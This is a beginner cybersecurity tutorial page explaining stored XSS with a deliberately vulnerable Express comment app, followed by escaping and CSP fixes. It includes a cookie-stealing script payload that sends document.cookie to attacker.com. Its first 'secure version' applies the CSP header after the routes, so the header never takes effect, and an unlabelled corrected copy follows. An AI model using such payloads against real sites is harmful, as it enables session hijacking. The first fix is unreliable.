Basic Exploitation demo (e.g. XSS) | Cyber Security Tutorial - Learn with VOKS
Advance AI Bootstrap C C++ Computer Vision Content Writing CSS Cyber Security Data Analysis Deep Learning Email Marketing Excel Figma HTML Java Script Machine Learning MySQLi Node JS PHP Power Bi Python Python for AI Python for Analysis React React Native SEO SMM SQL
Back Next

Basic Exploitation demo (e.g. XSS)

Learn this topic step-by-step with VOKS Tutorials.

What Is XSS

XSS stands for Cross-Site Scripting.

It is a type of web security vulnerability where an attacker injects malicious JavaScript code into a website. When other users visit the affected page, the malicious script runs in their browser.

In simple words:

Instead of the website showing only safe content, it unknowingly runs attacker-controlled code inside a user's browser.

Why XSS Is Dangerous

When malicious JavaScript runs in a victim's browser, it can:

  • Steal cookies (including login session tokens)
  • Redirect users to fake websites
  • Capture keystrokes
  • Modify page content
  • Perform actions on behalf of the user

The key idea is this:

The browser trusts the website.

If the website sends malicious JavaScript, the browser will execute it.

How XSS Happens

XSS usually happens when:

  1. A website accepts user input.
  2. The website stores or displays that input.
  3. The website does not properly sanitize or escape that input.
  4. The browser executes the input as code instead of displaying it as text.

Types Of XSS

There are three main types:

Stored XSS

Malicious input is saved in a database and shown to other users later.

Example:

  • Comment section
  • Forum posts
  • User profiles

Reflected XSS

Malicious input is reflected immediately in the response.

Example:

  • Search box
  • Error messages

DOM-Based XSS

The vulnerability exists in client-side JavaScript that directly manipulates the DOM without proper validation.

For this demo, we will focus on a simple Stored XSS example.

Basic Vulnerable Example

Below is a simple Express server that allows users to submit comments. It stores comments in memory and displays them.

This code contains a vulnerability.


const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: true }));

let comments = [];

app.get('/', (req, res) => {
    let commentList = comments.map(c => `<li>${c}</li>`).join('');

    res.send(`
        <h1>Comment Section</h1>
        <form method="POST" action="/comment">
            <input type="text" name="comment" />
            <button type="submit">Submit</button>
        </form>
        <ul>${commentList}</ul>
    `);
});

app.post('/comment', (req, res) => {
    comments.push(req.body.comment);
    res.redirect('/');
});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

How The Exploit Works

Imagine a user submits this as a comment:


<script>alert('Hacked')</script>

What happens?

  1. The server stores it in the comments array.
  2. The server displays it inside <li>${c}</li>.
  3. The browser sees <script> and executes it.
  4. The alert runs.

Instead of displaying the text, the browser executes the script.

This is XSS.

Realistic Attack Example

Instead of alert, an attacker might inject:


<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

This sends the user's session cookie to the attacker.

If the site uses cookies for authentication, the attacker can hijack the session.

Why The Vulnerability Exists

The problem is here:


let commentList = comments.map(c => `<li>${c}</li>`).join('');

The application inserts user input directly into HTML without escaping it.

The browser cannot tell the difference between:

  • Safe text
  • Executable JavaScript

So it executes everything.

How To Prevent XSS

There are several ways to fix this.

1. Escape Output

Convert special characters to safe HTML entities.

Example:

  • < becomes &lt;
  • > becomes &gt;

This ensures the browser treats input as text, not code.

Here is a simple escaping function:


function escapeHTML(str) {
    return str
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#039;");
}

Now modify the rendering:


let commentList = comments
    .map(c => `<li>${escapeHTML(c)}</li>`)
    .join('');

Now if a user submits:


<script>alert('Hacked')</script>

It will display as plain text instead of executing.

2. Use Security Headers

Set Content Security Policy (CSP) headers to restrict script execution.

Example:


app.use((req, res, next) => {
    res.setHeader("Content-Security-Policy", "default-src 'self'");
    next();
});

This blocks inline scripts.

3. Use Template Engines That Escape By Default

Modern frameworks like:

  • React
  • Angular
  • Vue
  • EJS (with proper usage)

Automatically escape output unless explicitly told not to.

Secure Version Of The Application

Here is the fixed version:


const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: true }));

let comments = [];

function escapeHTML(str) {
    return str
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#039;");
}

app.get('/', (req, res) => {
    let commentList = comments
        .map(c => `<li>${escapeHTML(c)}</li>`)
        .join('');

    res.send(`
        <h1>Comment Section</h1>
        <form method="POST" action="/comment">
            <input type="text" name="comment" />
            <button type="submit">Submit</button>
        </form>
        <ul>${commentList}</ul>
    `);
});

app.post('/comment', (req, res) => {
    comments.push(req.body.comment);
    res.redirect('/');
});

app.use((req, res, next) => {
    res.setHeader("Content-Security-Policy", "default-src 'self'");
    next();
});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});


const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: true }));

let comments = [];

function escapeHTML(str) {
    return str
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#039;");
}

app.use((req, res, next) => {
    res.setHeader("Content-Security-Policy", "default-src 'self'");
    next();
});

app.get('/', (req, res) => {
    let commentList = comments
        .map(c => `<li>${escapeHTML(c)}</li>`)
        .join('');

    res.send(`
        <h1>Comment Section</h1>
        <form method="POST" action="/comment">
            <input type="text" name="comment" />
            <button type="submit">Submit</button>
        </form>
        <ul>${commentList}</ul>
    `);
});

app.post('/comment', (req, res) => {
    comments.push(req.body.comment);
    res.redirect('/');
});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});
QUICK KNOWLEDGE CHECK

Test Your Understanding

Answer 5 questions generated from this lesson. Your result is calculated instantly and is not saved.

0 / 5 answered
All Courses
Advance AI Bootstrap C C++ Computer Vision Content Writing CSS Cyber Security Data Analysis Deep Learning Email Marketing Excel Figma HTML Java Script Machine Learning MySQLi Node JS PHP Power Bi Python Python for AI Python for Analysis React React Native SEO SMM SQL
Course contents
Cyber Security
01 Introduction 02 Types of Cyber Threats 03 Cyber Security Domains 04 CIA Triad (Confidentiality Integrity Availability) 05 Career paths in Cyber Security 06 Certifications 07 Ethics and Responsible Disclosure 08 Laws and Regulation (e.g. GDPR, NDPR) 09 What is an OS? 10 Types: Window, Linus, macOS 11 Command-line vs GUI 12 OS Internals Overview (filesystems, processes, permissions) 13 Windows command prompt basics 14 Linux Bash Basics 15 File System Navigation 16 Basic Scripting 17 IP Addressing 18 DNS, DHCP 19 Mac Address 20 OSI VS TCP/IP Models 21 Ports and Protocols (TCP, UDP) 22 Common Protocols (HTTPS, FTP, SSH, etc.) 23 Packet structure 24 Firewalls, IDS/IPS, VPNs 25 Common attacks: MITM, Sniffing 26 Secure Network Practices 27 How the Web works 28 HTTP vs HTTPS 29 URLs, Headers, Cookies 30 Client-Server Architecture 31 Introduction To Web Security 32 OWASP Top 10 Overview 33 Common Threats (XSS, SQLi, CSRF) 34 Inpute validation and authentication flow 35 Basic Exploitation demo (e.g. XSS) 36 Burp Suite Introduction 37 Using a Browser For Testing 38 Password security 39 MFA-Antivirus 40 Cyber Hygeine Practice 41 Intro To Tools: Nmap, Wireshark, Netstat